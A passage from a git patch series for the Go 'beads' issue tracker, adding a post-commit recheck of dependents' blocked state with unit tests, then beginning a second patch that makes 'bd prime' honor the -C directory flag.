recheckBlockedAfterCommit recomputes the blocked state of the dependents a +// committed unblocking write recorded, on a fresh snapshot +// (gastownhall/beads#6716). +// +// Embedded transactions serialize: commitConn opens a fresh OpenSQL handle +// per transaction, and OpenSQL (open.go) waits in a backoff with no elapsed +// time limit for the engine, so a second handle blocks until the first has +// been cleaned up. Two transactions therefore never run against overlapping +// snapshots in one process, and the skew of #6716 cannot occur here; no +// embedded reproduction exists. The recheck is kept so the embedded store +// honors the same contract as the server store — a stale row recorded by +// one transaction is settled after its commit — and it runs only after the +// first handle's cleanup, so it cannot deadlock on itself. It runs no SQL +// when nothing was recorded. +// +// It runs on issueops.BlockedRecheckContext: the write it follows is durable, +// so the repair must outlive that write's cancellation, and a recheck must +// never start another recheck. The returned failure is for the caller to log, +// never to return — see logBlockedRecheckFailure. +func (s *EmbeddedDoltStore) recheckBlockedAfterCommit(ctx context.Context, pending issueops.BlockedRecheck) error { + if pending.Empty() || issueops.InBlockedRecheck(ctx) { + return nil + } + ctx, cancel := issueops.BlockedRecheckContext(ctx) + defer cancel() + if _, err := s.commitConn(ctx, true, func(tx *sql.Tx) error { + return issueops.RecomputeIsBlockedInTx(ctx, tx, pending.IssueIDs, pending.WispIDs) + }); err != nil { + return issueops.BlockedRecheckFailed(err) + } + return nil +} + +// commitConn is withConn's transaction: it hands back the dependents the +// transaction's unblocking writes recorded once it has committed. +func (s *EmbeddedDoltStore) commitConn(ctx context.Context, commit bool, fn func(tx *sql.Tx) error) (pending issueops.BlockedRecheck, err error) { if s.closed.Load() { err = errClosed return @@ -399,6 +461,8 @@ func (s *EmbeddedDoltStore) withConn(ctx context.Context, commit bool, fn func(t defer clearJournalScope() clearVersionScope := issueops.ScopeVersionedHistoryTransaction(tx, s.versionedHistoryEnabled.Load()) defer clearVersionScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if fnErr := fn(tx); fnErr != nil { err = errors.Join(fnErr, tx.Rollback()) @@ -415,6 +479,7 @@ func (s *EmbeddedDoltStore) withConn(ctx context.Context, commit bool, fn func(t return } committed = true + pending = issueops.TakeBlockedRecheck(tx) return } diff --git a/internal/storage/issueops/blocked_recheck.go b/internal/storage/issueops/blocked_recheck.go new file mode 100644 index 000000000..7204704bd --- /dev/null +++ b/internal/storage/issueops/blocked_recheck.go @@ -0,0 +1,302 @@ +package issueops + +import ( + "context" + "errors" + "fmt" + "strings" + "sync" + "time" + + "github.com/steveyegge/beads/internal/types" +) + +// BlockedRecheck names the dependents whose is_blocked a write recomputed +// inside a transaction, so the store can recompute them again on a fresh +// snapshot once that transaction has committed. +// +// The in-transaction recompute reads the transaction's start snapshot. The +// writes that record here are the ones that take a blocker away from a +// dependent: a close, an update to an inactive status, a dependency removal, +// a delete. Two such writes racing on the blockers of one dependent each see +// the other blocker still in place, each leaves the dependent blocked without +// writing its row, and both commit with no conflicting cell — so the +// dependent stays hidden from `bd ready` until a repair +// (gastownhall/beads#6716, first seen as two closes of sibling blockers). A +// recheck over the same ids after commit sees both writes and settles the +// flag. The recheck is a full recompute, so it is correct whichever way the +// flag has to move — removing the one closed child of an any-children gate +// can block its waiter, and the recheck settles that too. Writes that add a +// blocker (a reopen, a dependency add, a parent-child add) recompute the same +// way and are not recorded here; a racing pair where the last committer adds +// a blocker can leave a dependent flagged ready while blocked. +// +// # What is scoped, and what is not +// +// Recording only reaches a recheck through a transaction a store scoped (see +// ScopeBlockedRecheckTransaction), and exactly two write runners scope one: +// DoltStore's commitWriteTx and EmbeddedDoltStore's commitConn. A write that +// reaches this package on any other transaction records nothing and behaves +// exactly as it did before the recheck existed — the skew above survives on +// it. Those routes are known and deliberately out of scope here: +// +// - the uow/domain-db routing system (internal/storage/uow, with the +// in-transaction recomputes at internal/storage/domain/db/issue.go and +// dependency.go), which serves `bd batch` when proxied and every write a +// uow provider serves. Scoping it needs more than these two lines: +// doltServerTx.Runner() hands out the pinned *sql.Conn, not the *sql.Tx +// this package keys its scope on, so the key has to be threaded through +// the wrapper — the caveat below, already real rather than hypothetical. +// - storage.Transaction (internal/storage/dolt/transaction.go, reached +// through DoltStore.RunInTransaction on a pinned connection), which is +// how `bd batch` closes, status updates and dep removals land when not +// proxied, and how `bd cook`'s proto-subgraph delete, `bd mol squash` and +// `bd mol burn` delete and close. +// - the legacy DoltStore.RemoveDependencyWithOptions (raw BeginTx in +// internal/storage/dolt/dependencies.go), which `bd duplicates --merge` +// uses to remove parent-child edges. +// - the wisp writers (internal/storage/dolt/wisps.go closeWisp/updateWisp/ +// deleteWisp and ephemeral_routing.go's demote-to-wisp), which run raw +// unscoped transactions. The recompute joins depends_on_wisp_id, so a +// permanent issue blocked by two wisps whose removals race keeps the same +// stale flag. +// +// Every one of these leaves the pre-existing, operator-repairable state +// (`bd doctor`, `bd recompute-blocked`); none is made worse by the recheck. +type BlockedRecheck struct { + IssueIDs []string + WispIDs []string + // Sources label the writes that recorded the dependents, one short human + // phrase each ("close of rb-a", "dependency removal rb-c -> rb-a", + // "delete of rb-b"); they name the Dolt commit a recheck mints. At most + // recheckSourceLimit are kept — SourceCount counts them all. + Sources []string + // SourceCount is how many writes recorded ids in this transaction, + // including the ones past recheckSourceLimit that Sources does not name. + SourceCount int +} + +// recheckSourceLimit is how many names a bounded recheck line prints in full — +// the writes a commit message names, and the dependents a failure message +// names — before the rest reach it as a count. One transaction can close, +// update or delete an unbounded number of issues (batch_closer.go closes N in +// one), so an uncapped line would grow with N — the same unbounded growth +// deleteRecheckLabel already bounds within a single delete. +const recheckSourceLimit = 3 + +// Empty reports whether there is nothing to recheck. +func (r BlockedRecheck) Empty() bool { + return len(r.IssueIDs) == 0 && len(r.WispIDs) == 0 +} + +// CommitMessage is the Dolt commit message a recheck that changed a row mints. +// +// It always names the writes Sources kept and only counts the ones past +// recheckSourceLimit: this commit is the sole record of which write triggered a +// repair, so dropping the retained names for a bare count would discard exactly +// what they are kept for. The count is of the unnamed writes, not of all of +// them, which also keeps the line honest when Sources deduplicated two writes +// that rendered the same label (two equal-sized bulk deletes) and SourceCount +// therefore runs ahead of it. +func (r BlockedRecheck) CommitMessage() string { + message := "bd: recheck blocked after " + strings.Join(r.Sources, ", ") + if unnamed := r.SourceCount - len(r.Sources); unnamed > 0 { + message += fmt.Sprintf(" and %d more", unnamed) + } + return message +} + +// blockedRecheckTransactions holds the open scopes, one per transaction. It is +// keyed by the DBTX interface value: a write records into a scope only when +// the very same *sql.Tx the store scoped reaches noteBlockedRecheck. A future +// DBTX wrapper around that tx would compare unequal and silently record +// nothing — the same shape, and the same caveat, as the events-journal scope +// in journal.go. +var blockedRecheckTransactions sync.Map // map[DBTX]*BlockedRecheck; entries live for one transaction + +// ErrBlockedRecheckFailed marks a failure of the post-commit recheck of +// dependents' blocked state. The write that preceded it is committed and +// durable; only the recheck failed, so at worst a dependent carries the stale +// is_blocked flag that `bd doctor` and `bd recompute-blocked` already repair. +// +// A store never returns it to the caller of the write. An error out of a +// store call means the write did not land, and every caller reads it that +// way: surfacing a post-commit failure would make automated callers retry an +// applied mutation and double-apply it (the contract at +// internal/storage/dolt/issue_operations_tx.go). Stores wrap the failure with +// this sentinel and log it instead, which is what makes the two +// distinguishable in a log line and keeps the cause reachable for anything +// that inspects one. +var ErrBlockedRecheckFailed = errors.New("blocked-state recheck after a committed write failed") + +// BlockedRecheckFailed wraps a recheck failure so both ErrBlockedRecheckFailed +// and the underlying cause stay reachable through errors.Is and errors.As. +func BlockedRecheckFailed(err error) error { + return fmt.Errorf("%w: %w", ErrBlockedRecheckFailed, err) +} + +// BlockedRecheckFailureMessage is what a store says about a failed recheck. +// Both stores log the same sentence (each through its own package's sink) so +// this text lives next to the sentinel it reports rather than twice in two +// store packages. +// +// It names the rows left unrechecked and the command that repairs them because +// the failure reaches nobody else: the write committed, its caller was handed +// nil, and the only other signal is the counter beside this line. An operator +// who cannot tell which dependents went stale cannot act on it, and the whole +// defect the recheck repairs is invisible staleness. +func BlockedRecheckFailureMessage(pending BlockedRecheck, err error) string { + return fmt.Sprintf("%v; left unrechecked and possibly stale: %s — repair with `bd recompute-blocked`", + err, pending.unrecheckedNames()) +} + +// unrecheckedNames names the recorded dependents, bounded by +// recheckSourceLimit: one transaction can record an unbounded number of them. +func (r BlockedRecheck) unrecheckedNames() string { + ids := make([]string, 0, len(r.IssueIDs)+len(r.WispIDs)) + ids = append(ids, r.IssueIDs...) + ids = append(ids, r.WispIDs...) + if len(ids) <= recheckSourceLimit { + return strings.Join(ids, ", ") + } + return fmt.Sprintf("%s and %d more", strings.Join(ids[:recheckSourceLimit], ", "), len(ids)-recheckSourceLimit) +} + +type blockedRecheckContextKey struct{} + +// BlockedRecheckTimeout bounds one post-commit recheck. It sits above the +// stores' own write-retry budget so the retry policy, not this ceiling, is +// what normally ends a struggling recheck; it exists so a wedged connection +// cannot hold the caller of an already-committed write indefinitely. +const BlockedRecheckTimeout = 30 * time.Second + +// BlockedRecheckContext returns the context a post-commit recheck runs on. +// +// It is detached from the caller's cancellation: the write being repaired has +// already committed, so a context canceled between the commit and the recheck +// (a CLI deadline, a disconnected HTTP client, shutdown) must not skip the +// repair and leave exactly the stale flag the recheck exists to settle. It +// carries its own deadline instead, and it is marked so that InBlockedRecheck +// reports true inside it. +func BlockedRecheckContext(ctx context.Context) (context.Context, context.CancelFunc) { + detached := context.WithValue(context.WithoutCancel(ctx), blockedRecheckContextKey{}, struct{}{}) + return context.WithTimeout(detached, BlockedRecheckTimeout) +} + +// InBlockedRecheck reports whether ctx is already running a post-commit +// recheck, so a store can refuse to start another one from inside it. +// +// A recheck runs on the store's ordinary write-transaction runner, which +// scopes its transaction and rechecks whatever that transaction recorded. It +// terminates today only because the recompute the recheck runs +// (RecomputeIsBlockedInTxWithResult) records nothing — an invariant no +// signature enforces. A change that made the recompute record would otherwise +// recurse once per level until the context died. This is the guard rail: +// one write, at most one recheck. +func InBlockedRecheck(ctx context.Context) bool { + _, ok := ctx.Value(blockedRecheckContextKey{}).(struct{}) + return ok +} + +// ScopeBlockedRecheckTransaction lets the unblocking writes in tx record the +// dependents they recomputed, for TakeBlockedRecheck once tx has committed. +// Store implementations call it right after BeginTx and run the returned +// cleanup when the transaction ends. An unscoped transaction records nothing. +func ScopeBlockedRecheckTransaction(tx DBTX) func() { + if tx == nil { + return func() {} + } + blockedRecheckTransactions.Store(tx, &BlockedRecheck{}) + return func() { blockedRecheckTransactions.Delete(tx) } +} + +// TakeBlockedRecheck returns the dependents recorded in tx and clears them. +func TakeBlockedRecheck(tx DBTX) BlockedRecheck { + scope, ok := blockedRecheckTransactions.Load(tx) + if !ok { + return BlockedRecheck{} + } + pending := scope.(*BlockedRecheck) + taken := *pending + *pending = BlockedRecheck{} + return taken +} + +// noteBlockedRecheck records the dependents a write recomputed in tx. source +// labels the write for the recheck's commit message. exclude names ids this +// call leaves out: for a close or status update, the issue whose row this +// transaction wrote (a concurrent writer conflicts on that row instead of +// racing past it); for a delete, the rows that no longer exist. A dependency +// removal excludes nothing — its dependent is exactly the row that needs +// rechecking. exclude filters this call's ids only: an id an earlier write in +// the same transaction recorded stays pending, and rechecking a row that a +// later write deleted is a no-op, so that is harmless. +// +// A call that contributes no new id contributes no source either: the recheck +// it would name has nothing of its own to recheck, and naming it would put +// writes in the commit message that the recheck never touched. +func noteBlockedRecheck(tx DBTX, source string, exclude []string, issueIDs, wispIDs []string) { + scope, ok := blockedRecheckTransactions.Load(tx) + if !ok { + return + } + pending := scope.(*BlockedRecheck) + issues, addedIssues := appendRecheckIDs(pending.IssueIDs, issueIDs, exclude) + wisps, addedWisps := appendRecheckIDs(pending.WispIDs, wispIDs, exclude) + pending.IssueIDs, pending.WispIDs = issues, wisps + if !addedIssues && !addedWisps { + return + } + pending.SourceCount++ + if len(pending.Sources) < recheckSourceLimit { + pending.Sources, _ = appendRecheckIDs(pending.Sources, []string{source}, nil) + } +} + +// appendRecheckIDs adds the ids of one write that are neither excluded nor +// already pending, and reports whether it added any. +func appendRecheckIDs(pending, ids, exclude []string) ([]string, bool) { + seen := make(map[string]bool, len(pending)+len(exclude)) + for _, id := range pending { + seen[id] = true + } + for _, id := range exclude { + seen[id] = true + } + added := false + for _, id := range ids { + if !seen[id] { + seen[id] = true + pending = append(pending, id) + added = true + } + } + return pending, added +} + +// deleteRecheckLabel is the Sources label for a delete of ids. Up to three +// ids are named; beyond that only the count, so a bulk delete cannot grow a +// commit message without bound. scope, when set, says where the ids came +// from ("from "). +func deleteRecheckLabel(ids []string, scope string) string { + var label string + if len(ids) <= 3 { + label = "delete of " + strings.Join(ids, ", ") + } else { + label = fmt.Sprintf("delete of %d issues", len(ids)) + } + if scope != "" { + label += " " + scope + } + return label +} + +// statusChangeRecheckLabel is the Sources label for a status change of id to +// the inactive newStatus. A close through update reads the same as a close +// through CloseIssue, so the two paths mint the same commit message. +func statusChangeRecheckLabel(id, newStatus string) string { + if newStatus == string(types.StatusClosed) { + return "close of " + id + } + return fmt.Sprintf("status change of %s to %s", id, newStatus) +} diff --git a/internal/storage/issueops/blocked_recheck_test.go b/internal/storage/issueops/blocked_recheck_test.go new file mode 100644 index 000000000..9206a9f8a --- /dev/null +++ b/internal/storage/issueops/blocked_recheck_test.go @@ -0,0 +1,213 @@ +package issueops + +import ( + "context" + "errors" + "slices" + "strings" + "testing" + + sqlmock "github.com/DATA-DOG/go-sqlmock" +) + +// scopedRecheckTx opens a sqlmock transaction scoped for recheck recording. +func scopedRecheckTx(t *testing.T) DBTX { + t.Helper() + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + mock.ExpectBegin() + tx, err := db.BeginTx(t.Context(), nil) + if err != nil { + t.Fatalf("BeginTx: %v", err) + } + t.Cleanup(ScopeBlockedRecheckTransaction(tx)) + return tx +} + +// TestBlockedRecheck_RecordsEveryUnblockingWrite pins the recording contract +// the stores rely on: ids are deduplicated across writes, an excluded id never +// reaches the recheck even when a later write names it, sources are labels +// joined in order, and Take clears the scope. +func TestBlockedRecheck_RecordsEveryUnblockingWrite(t *testing.T) { + tx := scopedRecheckTx(t) + + noteBlockedRecheck(tx, "close of rb-a", []string{"rb-a"}, []string{"rb-a", "rb-c"}, nil) + noteBlockedRecheck(tx, "dependency removal rb-c -> rb-b", nil, []string{"rb-c"}, []string{"rb-w"}) + noteBlockedRecheck(tx, deleteRecheckLabel([]string{"rb-b"}, ""), []string{"rb-b"}, []string{"rb-b", "rb-d"}, nil) + noteBlockedRecheck(tx, "close of rb-a", []string{"rb-a"}, []string{"rb-c"}, nil) + + pending := TakeBlockedRecheck(tx) + if want := []string{"rb-c", "rb-d"}; !slices.Equal(pending.IssueIDs, want) { + t.Fatalf("IssueIDs = %v, want %v", pending.IssueIDs, want) + } + if want := []string{"rb-w"}; !slices.Equal(pending.WispIDs, want) { + t.Fatalf("WispIDs = %v, want %v", pending.WispIDs, want) + } + if want := "bd: recheck blocked after close of rb-a, dependency removal rb-c -> rb-b, delete of rb-b"; pending.CommitMessage() != want { + t.Fatalf("CommitMessage() = %q, want %q", pending.CommitMessage(), want) + } + if again := TakeBlockedRecheck(tx); !again.Empty() || len(again.Sources) != 0 { + t.Fatalf("second Take returned %+v, want an empty scope", again) + } +} + +// TestBlockedRecheck_BoundsTheCommitMessage: one transaction can close or +// delete an unbounded number of issues, so the recheck's commit message names +// at most recheckSourceLimit writes and counts the rest — it keeps naming the +// ones it retained, because this commit is the only record of which write +// triggered the repair. A write that contributed no id to recheck is not named +// at all, since the recheck never touches anything on its behalf. +func TestBlockedRecheck_BoundsTheCommitMessage(t *testing.T) { + tx := scopedRecheckTx(t) + + // A write whose only recomputed id is its own excluded row adds nothing. + noteBlockedRecheck(tx, "close of rb-lonely", []string{"rb-lonely"}, []string{"rb-lonely"}, nil) + if pending := TakeBlockedRecheck(tx); !pending.Empty() || len(pending.Sources) != 0 || pending.SourceCount != 0 { + t.Fatalf("a write that recorded no id left %+v, want an untouched scope", pending) + } + + for _, id := range []string{"rb-1", "rb-2", "rb-3", "rb-4"} { + noteBlockedRecheck(tx, "close of blocker-"+id, nil, []string{id}, nil) + } + pending := TakeBlockedRecheck(tx) + if pending.SourceCount != 4 || len(pending.Sources) != recheckSourceLimit { + t.Fatalf("SourceCount = %d, Sources = %v, want 4 recorded writes and %d names", pending.SourceCount, pending.Sources, recheckSourceLimit) + } + want := "bd: recheck blocked after close of blocker-rb-1, close of blocker-rb-2, close of blocker-rb-3 and 1 more" + if pending.CommitMessage() != want { + t.Fatalf("CommitMessage() = %q, want %q", pending.CommitMessage(), want) + } +} + +// TestBlockedRecheck_CountsOnlyTheWritesItDidNotName: Sources is deduplicated +// and SourceCount is not, so two writes rendering one label (two equal-sized +// bulk deletes) leave the count ahead of the names. The message counts the +// writes it did not name rather than all of them, so that skew cannot make it +// claim more unnamed writes than exist — or drop the one name it has. +func TestBlockedRecheck_CountsOnlyTheWritesItDidNotName(t *testing.T) { + tx := scopedRecheckTx(t) + + label := deleteRecheckLabel([]string{"rb-1", "rb-2", "rb-3", "rb-4"}, "") + noteBlockedRecheck(tx, label, nil, []string{"rb-c"}, nil) + noteBlockedRecheck(tx, label, nil, []string{"rb-d"}, nil) + + pending := TakeBlockedRecheck(tx) + if pending.SourceCount != 2 || len(pending.Sources) != 1 { + t.Fatalf("SourceCount = %d, Sources = %v, want 2 recorded writes deduplicated to 1 name", pending.SourceCount, pending.Sources) + } + if want := "bd: recheck blocked after delete of 4 issues and 1 more"; pending.CommitMessage() != want { + t.Fatalf("CommitMessage() = %q, want %q", pending.CommitMessage(), want) + } +} + +// TestBlockedRecheck_UnscopedTransactionRecordsNothing: a transaction the +// store never scoped (or whose scope already ended) records and returns +// nothing, so the stores' Tx surfaces keep their pre-recheck behaviour. +func TestBlockedRecheck_UnscopedTransactionRecordsNothing(t *testing.T) { + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + mock.ExpectBegin() + tx, err := db.BeginTx(t.Context(), nil) + if err != nil { + t.Fatalf("BeginTx: %v", err) + } + noteBlockedRecheck(tx, "close of rb-a", []string{"rb-a"}, []string{"rb-c"}, nil) + if pending := TakeBlockedRecheck(tx); !pending.Empty() { + t.Fatalf("unscoped tx recorded %+v, want nothing", pending) + } + ScopeBlockedRecheckTransaction(nil)() // a nil tx is a no-op scope +} + +func TestBlockedRecheck_Labels(t *testing.T) { + cases := []struct { + name string + got string + want string + }{ + {"single delete", deleteRecheckLabel([]string{"rb-b"}, ""), "delete of rb-b"}, + {"three named", deleteRecheckLabel([]string{"a", "b", "c"}, ""), "delete of a, b, c"}, + {"count beyond three", deleteRecheckLabel([]string{"a", "b", "c", "d"}, ""), "delete of 4 issues"}, + {"source repo scope", deleteRecheckLabel(make([]string, 40), "from github.com/x/y"), "delete of 40 issues from github.com/x/y"}, + {"close through update", statusChangeRecheckLabel("rb-b", "closed"), "close of rb-b"}, + {"pin through update", statusChangeRecheckLabel("rb-b", "pinned"), "status change of rb-b to pinned"}, + } + for _, tc := range cases { + if tc.got != tc.want { + t.Errorf("%s: got %q, want %q", tc.name, tc.got, tc.want) + } + } +} + +// TestBlockedRecheckContext_SurvivesItsCallerAndGuardsRecursion pins the two +// properties the stores' post-commit recheck depends on: it keeps running +// after the write's own context is cancelled (the write is already durable, +// so a cancelled caller must not skip the repair), and it marks itself so a +// recheck cannot start another recheck. +func TestBlockedRecheckContext_SurvivesItsCallerAndGuardsRecursion(t *testing.T) { + caller, cancelCaller := context.WithCancel(t.Context()) + if InBlockedRecheck(caller) { + t.Fatal("an ordinary write context reads as a recheck") + } + + ctx, cancel := BlockedRecheckContext(caller) + defer cancel() + cancelCaller() + + if err := ctx.Err(); err != nil { + t.Fatalf("recheck context died with its caller: %v", err) + } + if _, ok := ctx.Deadline(); !ok { + t.Fatal("recheck context has no deadline of its own") + } + if !InBlockedRecheck(ctx) { + t.Fatal("a recheck context does not report itself, so a recheck could start another") + } +} + +// TestBlockedRecheckFailed_KeepsSentinelAndCause: a store wraps a recheck +// failure so its log line tells a committed write whose recheck failed from a +// write that never landed, without losing the underlying cause. +func TestBlockedRecheckFailed_KeepsSentinelAndCause(t *testing.T) { + cause := errors.New("dolt: connection reset") + err := BlockedRecheckFailed(cause) + if !errors.Is(err, ErrBlockedRecheckFailed) { + t.Fatalf("errors.Is(err, ErrBlockedRecheckFailed) = false for %v", err) + } + if !errors.Is(err, cause) { + t.Fatalf("errors.Is(err, cause) = false for %v", err) + } + if want := "blocked-state recheck after a committed write failed: dolt: connection reset"; err.Error() != want { + t.Fatalf("err = %q, want %q", err.Error(), want) + } + if errors.Is(cause, ErrBlockedRecheckFailed) { + t.Fatal("a bare cause must not read as a recheck failure") + } +} + +// TestBlockedRecheckFailureMessage_NamesTheStaleRowsAndTheRepair: the failure +// never reaches the write's caller, so this line plus the Dolt store's counter +// are its only trace. An operator reading it has to learn which rows went stale +// and what repairs them, and a bulk write must not turn one warning into an +// unbounded line. +func TestBlockedRecheckFailureMessage_NamesTheStaleRowsAndTheRepair(t *testing.T) { + cause := BlockedRecheckFailed(errors.New("dolt: connection reset")) + + got := BlockedRecheckFailureMessage(BlockedRecheck{IssueIDs: []string{"rb-c"}, WispIDs: []string{"rb-w"}}, cause) + want := "blocked-state recheck after a committed write failed: dolt: connection reset; " + + "left unrechecked and possibly stale: rb-c, rb-w — repair with `bd recompute-blocked`" + if got != want { + t.Fatalf("message = %q, want %q", got, want) + } + + bulk := BlockedRecheck{IssueIDs: []string{"rb-1", "rb-2", "rb-3", "rb-4", "rb-5"}} + got = BlockedRecheckFailureMessage(bulk, cause) + if want := "left unrechecked and possibly stale: rb-1, rb-2, rb-3 and 2 more — repair with `bd recompute-blocked`"; !strings.HasSuffix(got, want) { + t.Fatalf("message for %d ids = %q, want it to end with %q", len(bulk.IssueIDs), got, want) + } +} diff --git a/internal/storage/issueops/bulk_ops.go b/internal/storage/issueops/bulk_ops.go index 0077d0463..e96d5b513 100644 --- a/internal/storage/issueops/bulk_ops.go +++ b/internal/storage/issueops/bulk_ops.go @@ -234,6 +234,7 @@ func DeleteIssuesBySourceRepoInTx(ctx context.Context, tx *sql.Tx, sourceRepo st if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return int(rowsAffected), fmt.Errorf("recompute is_blocked after source-repo delete: %w", err) } + noteBlockedRecheck(tx, deleteRecheckLabel(issueIDs, "from "+sourceRepo), issueIDs, affectedIssues, affectedWisps) return int(rowsAffected), nil } diff --git a/internal/storage/issueops/close.go b/internal/storage/issueops/close.go index 725665886..899a265dc 100644 --- a/internal/storage/issueops/close.go +++ b/internal/storage/issueops/close.go @@ -381,6 +381,7 @@ func closeIssueInTx(ctx context.Context, tx DBTX, id string, reason, actor, sess if err != nil { return nil, fmt.Errorf("recompute is_blocked after close for %s: %w", id, err) } + noteBlockedRecheck(tx, "close of "+id, []string{id}, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // recordEvent gates the human audit event, never the journal — nor the diff --git a/internal/storage/issueops/delete.go b/internal/storage/issueops/delete.go index 09105789c..e0406c8f2 100644 --- a/internal/storage/issueops/delete.go +++ b/internal/storage/issueops/delete.go @@ -51,6 +51,7 @@ func DeleteIssueInTx(ctx context.Context, tx *sql.Tx, id string, actor string) e if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("recompute is_blocked after delete for %s: %w", id, err) } + noteBlockedRecheck(tx, deleteRecheckLabel([]string{id}, ""), []string{id}, affectedIssues, affectedWisps) return nil } @@ -391,6 +392,7 @@ func DeleteResolvedSetInTx(ctx context.Context, tx *sql.Tx, set DeletionSet, dry if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return nil, fmt.Errorf("recompute is_blocked after batch delete: %w", err) } + noteBlockedRecheck(tx, deleteRecheckLabel(set.All, ""), set.All, affectedIssues, affectedWisps) return result, nil } diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index d91f8fbdd..6e76097bd 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -1116,6 +1116,9 @@ func removeDependencyInTx(ctx context.Context, tx *sql.Tx, issueID, dependsOnID, return false, fmt.Errorf("recompute is_blocked after remove dependency %s -> %s: %w", issueID, dependsOnID, err) } mergeRecomputeIsBlockedResult(recomputeResult, recomputed) + // The dependent is exactly the row a racing unblocking write can leave + // stale, so nothing is excluded from the post-commit recheck. + noteBlockedRecheck(tx, fmt.Sprintf("dependency removal %s -> %s", issueID, dependsOnID), nil, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // Never gated on emitEvent — a structural removal is as real to a replaying // consumer as one from an explicit dep verb. The same holds for the diff --git a/internal/storage/issueops/update.go b/internal/storage/issueops/update.go index 3bff46c05..4a73157c2 100644 --- a/internal/storage/issueops/update.go +++ b/internal/storage/issueops/update.go @@ -541,6 +541,9 @@ func updateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string } updateResult.IssueRowsChanged = !isWisp || recompute.IssueRowsChanged updateResult.WispRowsChanged = isWisp || recompute.WispRowsChanged + if !newActive { + noteBlockedRecheck(tx, statusChangeRecheckLabel(id, newStatus), []string{id}, affectedIssues, affectedWisps) + } } } From 93cfee90544d1251ac3b6bfd0935cd412ec5e082 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sun, 27 Sep 2026 00:59:29 -0700 Subject: [PATCH 134/624] fix: honor changed directory when running prime (#6550) * fix(prime): honor -C for the local PRIME.md tier, git probes, divergence reminder, and redirect notice (#5509) `bd -C prime` silently primed the process cwd. -C is implemented as setenv BEADS_DIR (no chdir), so the store and memories already followed the target, but four workspace-relative reads in prime did not: the first-priority .beads/PRIME.md lookup, the AGENTS.md/CLAUDE.md divergence reminder, the git probes (upstream, remotes) behind the default template's git-authority wording, and the template's redirect notice all resolved against the cwd. On the no-PRIME.md path the output for `bd -C repo-b prime` was byte-identical to priming the cwd repo. Add primeWorkspaceDir(), which returns the absolute -C target when set and "" (cwd) otherwise, and resolve all four against it: readCustomPrimeContent takes the workspace dir as a parameter, the reminder takes the same workspace, a new primeGitCmd helper runs isEphemeralBranch and primeHasGitRemote in the -C target (falling back to GitCmdCWD without -C, as before), and primeRedirectInfo asks internal/beads about the -C target through a new GetRedirectInfoFrom(dir). GetRedirectInfo() delegates to the same core for the cwd, so redirect detection without -C is unchanged. The clone-local PRIME.md tier is rebased onto the -C target rather than dropped, so a redirect clone with its own .beads/PRIME.md yields the clone-local file under -C exactly as `cd && bd prime` does. The workspace is deliberately the -C directory itself, not the parent of the resolved beads dir, which may have followed .beads/redirect or walked up from a subdirectory. Env-only BEADS_DIR redirects are unchanged: without -C the cwd-local PRIME.md still wins (clone-specific customization, GH#876), guarded by TestReadCustomPrimeContent_EnvRedirectStillLocalFirst. Tests: unit coverage for primeWorkspaceDir (absolute, relative, unset), the -C target and redirect-clone PRIME.md tiers, the env-only redirect, the divergence-reminder workspace (redirect and subdirectory cases), and GetRedirectInfoFrom against GetRedirectInfo in both directions plus the non-git walk-up, plus three end-to-end runs (cgo build tag, shared once-per-process bd binary): the issue's two-repo PRIME.md repro, a no-PRIME.md pair where `bd -C repo-b prime` from repo-a must equal `cd repo-b && bd prime` byte for byte while differing from the cwd's own prime (repo-a has a remote and upstream, repo-b has neither and carries divergent AGENTS.md/CLAUDE.md), and a plain-repo/redirect-clone pair where the redirect notice must follow -C in both directions. Fixes #5509 Co-Authored-By: Claude Fable 5.1 * fix(prime): canonicalize the -C repo root and document the shared probes Maintainer review fixes for #6550 (adopt-pr review iteration 1). Nothing here was a merge gate: the scorecard approved at 962/1000 with no required changes. No behavior change on Linux/macOS. - internal/beads: canonicalize the repo root inside repoLocalBeadsDir, the helper both locators share. findLocalBdsDirInRepoFrom handed it raw `git rev-parse --show-toplevel` output while the cwd twin passes git.GetRepoRoot()'s already-normalized value, so on Windows (`C:/...`, msys `/c/...`) the repo-local tier missed and resolution fell through to the walk-up locator - the fallback bd-wayc3 exists to beat. Canonicalizing stays below the "" guard on purpose: utils.CanonicalizePath("") resolves to the process cwd. TestRepoLocalBeadsDirCanonicalizesRepoRoot pins both halves and reds on either mutation (drop the canonicalization; move it above the guard). - internal/beads: document that GetRedirectInfoFrom's fallback drops the worktree-local redirect probe and GetWorktreeFallbackBeadsDir, not only BEADS_DIR. - cmd/bd/prime.go: NOTE that primeHasGitRemote and primeGitCmd have a consumer outside prime (isBackupAutoEnabled), which inherits the -C directory choice. - CHANGELOG: add the Unreleased/Fixed entry for #5509 and disclose that `bd -C dir ` now decides auto-backup enablement from the -C target's git remote rather than the launch directory's. - cmd/bd/prime_embedded_test.go: record why the three -C repros carry the TestEmbedded prefix (fast lanes -skip it, embedded-test-shard.sh discovers shard members by it) and that they need no embedded Dolt. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Julian Knutsen Co-authored-by: Julian Knutsen --- CHANGELOG.md | 17 +++ cmd/bd/directory_flag_test.go | 129 ++++++++++++++++ cmd/bd/prime.go | 88 +++++++++-- cmd/bd/prime_divergence_test.go | 99 ++++++++++++ cmd/bd/prime_embedded_test.go | 210 ++++++++++++++++++++++++++ internal/beads/beads.go | 67 +++++++- internal/beads/beads_coverage_test.go | 108 +++++++++++++ 7 files changed, 696 insertions(+), 22 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4aab92ced..d2440cc74 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,23 